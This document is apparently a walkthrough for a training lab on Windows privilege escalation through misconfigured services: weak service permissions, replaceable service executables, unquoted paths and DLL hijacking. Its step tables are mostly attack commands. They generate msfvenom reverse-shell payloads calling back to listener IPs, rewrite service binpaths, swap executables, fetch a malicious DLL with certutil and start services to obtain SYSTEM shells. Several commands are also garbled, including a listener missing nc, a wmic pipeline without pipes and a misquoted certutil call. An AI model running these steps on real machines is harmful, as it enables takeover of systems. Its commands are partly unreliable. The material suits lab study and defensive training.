

Windows Privilege Escalation via Service Misconfigurations

Introduction:

In Windows environments, improper configuration of services can lead to security vulnerabilities, which can be exploited by attackers to gain elevated privileges. Common misconfigurations include services with insecure permissions, unquoted service paths, and vulnerable service executables. Attackers can leverage these flaws to overwrite service files, execute malicious payloads, or hijack the service's behavior to escalate their privileges and gain full control of the system.

Below are different techniques for privilege escalation related to service misconfigurations. We will walk through examples of exploiting these weaknesses and how they could lead to a system shell.

Insecure Service Permissions (Service Change Config)

The following attack exploits services that have insecure permissions, allowing users to change the service configuration.

Steps to exploit:

Action	Command
Use accesschk to check service permissions	accesschk64.exe /accepteula -uwqvc daclsvc

Action	Command
Modify the service executable path	sc.exe config daclsvc binpath= "\"C:\Users\user\jaja\reverse.exe\""
Set executable path to malicious payload	sc.exe config daclsvc binpath= "C:\Users\user\jaja\reverse.exe"
Result	System shell

Insecure Service Executables

Here, an attacker abuses an executable file used by a service, placing a reverse shell payload in its location.

Steps to exploit:

Action	Command
Check file permissions for service executable	accesschk64.exe /accepteula -uwqv "C:\Program Files\File Permissions Service\filepermservice.exe"
Backup the service executable	move "C:\Program Files\File Permissions Service\filepermservice.exe" "C:\Program Files\File Permissions Service\filepermservice.exe.bak"
Create a reverse shell payload	msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.31.108 LPORT=443 -f exe -o reverse.exe
Copy reverse shell to service executable location	copy reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
Setup listener for reverse shell	rlwrap -lvnp 443
Start the service to trigger the reverse shell	net start filepermsvc or sc.exe start filepermsvc
Result	Privilege escalation to SYSTEM shell

Unquoted Service Path

Unquoted service paths can be exploited when a service executable has spaces in its path but is not enclosed in quotes, allowing attackers to place a malicious executable in a writable folder within the unquoted path.

Steps to exploit:

Action	Command
Identify unquoted service paths	<code>wmic service get name,pathname,displayname,startmode findstr /i auto findstr /i /v "C:\Windows\\" findstr /i /v "</code>
Check write permissions for the directory	<code>accesschk64.exe /accepteula -uwqd "C:\Program Files\Unquoted Path Service\"</code>
Create a reverse shell payload	<code>msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.3.155 LPORT=443 -f exe > common.exe</code>
Place payload in a writable folder within unquoted path	<code>copy C:\users\user\jaja\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"</code>
Setup listener for reverse shell	<code>rlwrap -lvnp 443</code>
Start the service to trigger the reverse shell	<code>sc.exe start unquotedsvc</code>
Result	SYSTEM shell via privilege escalation

DLL Hijacking

In DLL hijacking, the attacker replaces a legitimate DLL with a malicious one that is loaded by an application or service. By doing so, they can execute arbitrary commands, often gaining elevated privileges.

Steps to exploit:

Action	Command
Create a simple DLL with reverse shell payload	<code>msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.3.155 LPORT=9001 -f dll > hijacked.dll</code>

Action	Command
Upload DLL to a location the service or application will load from	<code>certutil -urlcache -split -f "http://10.9.3.155/hijacked.dll C:\temp\hijacked.dll"</code>
Check the status of the service that loads the DLL	<code>sc query dllsvc</code>
Stop and start the service to trigger the payload	<code>sc stop dllsvc and sc start dllsvc</code>
Result	SYSTEM shell upon DLL hijacking

Conclusion:

Service misconfigurations present a significant attack surface for privilege escalation on Windows systems. Attackers can exploit insecure service permissions, unquoted service paths, insecure service executables, and DLL hijacking vulnerabilities to gain full control of a system. Understanding these common flaws and knowing how to exploit them are critical for both offensive and defensive security practices.